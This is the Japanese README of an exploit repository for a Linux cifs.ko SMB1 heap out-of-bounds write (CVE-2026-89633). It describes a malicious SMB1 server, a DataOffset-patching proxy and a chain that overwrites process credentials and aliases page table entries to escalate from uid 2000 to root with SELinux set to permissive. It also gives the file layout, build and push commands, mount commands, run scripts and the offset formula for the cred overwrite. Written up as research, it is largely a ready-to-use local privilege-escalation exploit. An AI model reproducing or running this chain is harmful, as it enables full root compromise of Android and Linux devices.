
CVE-2026-89633のPoCおよびエクスプロイトチェーン。Linux cifs.koのSMB1 TRANS2結合パスにおけるヒープ領域の境界外書き込みであり、cred上書きとPTEエイリアシングを経てuid 0へ権限昇格する。
coalesce_t2 ヒープOOB書き込み日本語 | 简体中文
Linux cifs.ko SMB1クライアントにおけるヒープ境界外書き込みの研究用PoC/EXP。悪意のあるSMB1サーバーがTRANS2セカンダリレスポンス内のDataOffsetを制御し、coalesce_t2()が8バイトのセカンダリペイロードを&primary->Protocol + DataOffset + accumulatedへターゲット境界チェックなしにコピーする。コピー先はレスポンスバッファ(server->bigbuf)を基準に、サーバーが指定した任意の位置となる。
本リポジトリは役割の異なる2つのデモを保持しており、これらは代替関係にはない:
DataOffsetをパッチするTCPプロキシ。uid/gid/suid/sgid/euid/egid/fsuid/fsgidをゼロにする。OOB書き込みが制御可能でありcredを改変できることを示す最も直接的な証明であり、依存関係が最も少ない。selinux_stateをマップし、クローンがroot側の観測なしにuid 0かつ全capを持つようになる。これはEXP 1の拡張であり、置き換えではない。カーネルモジュールのロードは本リポジトリでは意図的にスコープ外としている: チェーンはuid 0 (および任意でselinux_stateをpermissive) で停止し、モジュールをインストールしない。モジュールをロードしなくても、uid 0 + permissiveが本リポジトリの主張する完全なLPEデモである。
EXP 2のコストは明示されたままである: ウィンドウごとの抽選 (25–33%、12回の試行で97–99%)、再起動まで有効なままのベアPTE、シェル書き込み可能なtracefsへの依存、そしてビルド固有のdirect-map/コールサイト/SEL_PFNの仮定。EXP 1は最も単純なプリミティブ証明であり、シェル書き込み可能なtracefsが利用できない場合のフォールバックでもある。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-89633 |
| クラス | ヒープ境界外書き込み (CWE-787) |
| コンポーネント | cifs.ko、SMB1 TRANS2セカンダリのcoalescing |
| アップストリーム修正 | 36d01415d881 ("smb: client: fix ... coalesce_t2", 6.12.113) |
| POC | トリガーとOOB書き込みを検証済み (マウント後およびマウント中) |
| EXP 1 (最小プリミティブ) | root側観測下での4フレームOOB cred書き込み; uid 0を検証済み (マウント後およびマウント時の保持レスポンス) |
| EXP 2 (高度プリミティブ) | シェルのみのPTEチェーン; uid 2000 → uid 0 + 全cap + Permissiveを検証済み (SEL_PFN/SEL_OFF); ベアPTEで停止し、モジュールロードなし |
| 要件 | 攻撃者制御のサーバーへのSMB1マウント (特権ゲート); 参照ゲートはsuを使用し、シェルのみの配置にはシェル書き込み可能なtracefsが必要 |
テスト環境: arm64 Android 16ベンダービルド、カーネル6.12.38、cifs.koは6.12.23 KMIベースラインからビルド、SELinux enforcing。
statfsなし、マウントポイントへのアクセスなし)、EXP 2のシェルのみの配置 (tracefsのみ、root側観測なし)、EXP 2の完全な受け入れ (uid 0 + 全capビット + SEL_PFN/SEL_OFFによるPermissive)、およびsu駆動のマウントゲート (マウントのみrootで実行; 配置はuid 2000で実行) を、SELinux enforcing下でテストした。MAX_CIFS_SMALL_BUFFER_SIZE - 4(444 バイト)を超える SMB1 TRANS2 レスポンスの場合、クライアントはプライマリを server->bigbuf に保持し、それを mid->resp_buf に格納します。後続の SMB_COM_TRANSACTION2_SECONDARY レスポンスは cifs_check_trans2() -> check2ndT2() -> coalesce_t2() を経由します:
data_area_of_tgt = &primary->Protocol + primary->DataOffset + total_in_tgt;
memcpy(data_area_of_tgt, data_area_of_src, secondary->DataCount);
DataOffset はサーバー応答からそのまま取得されます。カウンターチェック
(total_in_tgt/byte_count のオーバーフロー、ソースバッファの境界)は存在しますが、
data_area_of_tgt が応答バッファ内に収まるかどうかのチェックはありません。
各セカンダリフレームは 8 バイトずつ先に進む(累積された DataCount)ため、
マルチフレーム応答では、バッファベースからの攻撃者指定のオフセット(16 ビット)に
8*N バイトの書き込みが発生します。
トリガー条件:
vers=1.0)。statfs 経由で
QUERY_FS_INFORMATION を使用)。TotalDataCount > DataCount かつ bigbuf パスに十分な大きさの
プライマリで応答し、その後 TotalDataCount > DataCount のセカンダリフレームを
1 つ以上返す。Makefile
src/poc/poc_smb1_trans2.py malicious SMB1 server (QFS hook, runtime ctl)
src/poc/smb1_proxy.py TCP proxy: patches DataOffset, repeats secondaries
src/exp/pipesearch.c pipe placement/write driver (modes 3, 8, 9)
src/exp/shcred.c shell-side drain + clone helper (uid 2000)
src/exp/shp4a2.c trace-based drainer/observer/clone (modes 8/9)
src/exp/pte_fault.c 2 MiB fault + PTE alias writes
src/exp/bscan.c bigbuf discovery by call site (no kprobes)
src/exp/kslide.c KASLR slide from a raw call site
src/exp/smbd.c device-side SMB1 server (held TRANS2)
src/exp/smbd_templates.h SMB1 response templates for smbd
src/exp/pfn.c linear-map VA to pfn
src/exp/kflags.c /proc/kpageflags reader
scripts/setup_device.sh trace instance + kprobes (root on device)
scripts/start_servers.sh host: SMB1 server + proxy + mount helper
scripts/probe_round.sh one probe round: bigbuf base + free target page
scripts/place.sh placement: pipesearch mode 3 + shcred
scripts/write_cred.sh 4-frame coalesce write + /proc verification
scripts/mount_su.sh generic su mount gate (target/decoy/abort/unmount)
scripts/chain_shell.sh shell-only placement for an already-held TRANS2
scripts/gen_smb_templates.py regenerates smbd_templates.h from a capture
docs/analysis.md vulnerability and chain analysis
docs/exp-protocol.md shared-page and smbd ctl protocols
make deps # checks impacket
make helpers # NDK cross-build of all C helpers
make push # adb push to /data/local/tmp
NDK、API、ARCH、ADB、DEVICE_DIR は上書き可能です。
トリガー自体に必要なのは SMB1 マウントと、実行中のサーバー/プロキシだけです。
kprobes と kflags は観測用の補助手段であり、トリガーの一部ではありません —
dst/src/len の証拠が必要なときにインストールしてください(また、以下の EXP チェーンでは
これらが必須です。bigbuf のベース、配置の監視、対象の cred アドレスが必要となるためです)。
デバイス(root、任意 — 観測のみ): プローブをインストールします。
adb push scripts/setup_device.sh /data/local/tmp/
adb shell su -c 'sh /data/local/tmp/setup_device.sh'
adb push build/kflags /data/local/tmp/kflags
ホスト側: SMB1 サーバーとプロキシを起動します(このスクリプトは共有ディレクトリも作成し、マウントコマンドを表示します):
scripts/start_servers.sh /tmp/cifs01-ctl
1470 上で src/poc/poc_smb1_trans2.py を、また制御ディレクトリ /tmp/cifs01-ctl を指定して src/poc/smb1_proxy.py(1460 -> 1470)を実行します。
ローカルテストトポロジ: プロキシポートをデバイスにマッピングし、デバイス上で root として共有をマウントします。
adb reverse tcp:1460 tcp:1460
adb shell su -c 'mkdir -p /mnt/cifs'
adb shell su -c 'mount -t cifs //127.0.0.1/share /mnt/cifs \
-o vers=1.0,port=1460,username=test,password=test,sec=ntlmssp'
vers=1.0 は脆弱な SMB1 パスを選択します(SMB2/3 は coalesce_t2 に到達しません)。port=1460 はこのトポロジーにおけるプロキシポートです。サーバーがデフォルトの 445 で待ち受けている実際のネットワークではこれを省略してください。
username=test,password=test は PoC サーバーの認証情報です。
sec=ntlmssp は PoC サーバーが受け入れるセキュリティモードです。
//127.0.0.1/share はサーバー/共有です。マウントポイントは任意です。
マウントは特権的なゲートです — 下記の「到達可能性」を参照してください。
1 ラウンドをトリガーします(フックを武装させ、悪意のあるプライマリを保持し、DataOffset をパッチし、解放します)。
scripts/probe_round.sh 1
プローブをインストールした状態では、インスタンストレースに oobpri(プライマリヘッダフィールド)と cifs01m/cifs01mv(memcpy の dst/src/len/val)が含まれる。デフォルトプローブ DataOffset=0x4100 では、dst - prim は 0x4104 となり、16640 バイトの cifs_request slab オブジェクト(32 KiB order-3 slab の末尾パディング)を超えるため、この書き込みは実際にオブジェクト外への書き込みであり、他のアロケーションを破壊することはない。一方 DataOffset=0 では SMB ヘッダフィールドをその場で書き換える。
単なるトリガーとは異なり、EXP 1 は観測補助をエクスプロイトの一部として使用する。cifsget は次のレスポンスの bigbuf ベース B を提供し、root ツールの /proc/kpageflags 読み取りがページ配置を誘導し、credprep トレースが対象子プロセスの cred アドレスを提供する。POC セクションと同じサーバ/プロキシを使用する。
連鎖の概要(詳細は docs/analysis.md と docs/exp-protocol.md を参照):
B と、pfn(B)+8..pfn(B)+16 内の空き物理ページ P を学習する(scripts/probe_round.sh)。scripts/place.sh が pipesearch モード 3 と shcred を実行する。対象ページは最後に解放されて CPU の per-CPU ページリストに入り、シェルは setfsuid で memcg cred キャッシュを排出し、root ツールは kpageflags(P) が cred slab(0x80)になるまでポーリングして排出を停止し、シェルは 1 つの子プロセスをクローンし、その copy_creds() が現在の slab の空きオブジェクト — P — を取得する。scripts/write_cred.sh が TotalDataCount=32 のプライマリと 4 つの 8 バイトセカンダリフレームを送信する。DataOffset = (cred - B) + 4 とすることで、4 つの合体書き込みが uid/gid、suid/sgid、euid/egid、fsuid/fsgid をゼロにする。/proc/<child>/status が Uid: 0 0 0 0 / Gid: 0 0 0 0 を示す。テストビルドで検証済み: